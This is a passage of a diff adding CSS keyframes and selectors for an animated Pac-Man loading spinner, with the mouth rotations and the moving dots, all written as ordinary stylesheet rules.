-webkit-transform: rotate(270deg); + transform: rotate(270deg); } } + +@-webkit-keyframes rotate_pacman_half_down { + 0% { + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } + + 50% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + + 100% { + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } } + +@keyframes rotate_pacman_half_down { + 0% { + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } + + 50% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + + 100% { + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } } + +@-webkit-keyframes pacman-balls { + 75% { + opacity: 0.7; } + + 100% { + -webkit-transform: translate(-100px, -6.25px); + transform: translate(-100px, -6.25px); } } + +@keyframes pacman-balls { + 75% { + opacity: 0.7; } + + 100% { + -webkit-transform: translate(-100px, -6.25px); + transform: translate(-100px, -6.25px); } } + +.pacman { + position: relative; + margin-left: 30%; +} +.pacman > div:nth-child(2) { + -webkit-animation: pacman-balls 1s 0s infinite linear; + animation: pacman-balls 1s 0s infinite linear; } +.pacman > div:nth-child(3) { + -webkit-animation: pacman-balls 1s 0.33s infinite linear; + animation: pacman-balls 1s 0.33s infinite linear; } +.pacman > div:nth-child(4) { + -webkit-animation: pacman-balls 1s 0.66s infinite linear; + animation: pacman-balls 1s 0.66s infinite linear; } +.pacman > div:nth-child(5) { + -webkit-animation: pacman-balls 1s 0.99s infinite linear; + animation: pacman-balls 1s 0.99s infinite linear; } +.pacman > div:first-of-type { + width: 0px; + height: 0px; + border-right: 25px solid transparent; + border-top: 25px solid #666; + border-left: 25px solid #666; + border-bottom: 25px solid #666; + border-radius: 25px; + -webkit-animation: rotate_pacman_half_up 0.5s 0s infinite; + animation: rotate_pacman_half_up 0.5s 0s infinite; } +.pacman > div:nth-child(2) { + width: 0px; + height: 0px; + border-right: 25px solid transparent; + border-top: 25px solid #666; + border-left: 25px solid #666; + border-bottom: 25px solid #666; + border-radius: 25px; + -webkit-animation: rotate_pacman_half_down 0.5s 0s infinite; + animation: rotate_pacman_half_down 0.5s 0s infinite; + margin-top: -50px; } +.pacman > div:nth-child(3), .pacman > div:nth-child(4), .pacman > div:nth-child(5), .pacman > div:nth-child(6) { + background-color: #666; + width: 15px; + height: 15px; + border-radius: 100%; + margin: 2px; + width: 10px; + height: 10px; + position: absolute; + -webkit-transform: translate(0, -6.25px); + -ms-transform: translate(0, -6.25px); + transform: translate(0, -6.25px); + top: 25px; + left: 100px; } \ No newline at end of file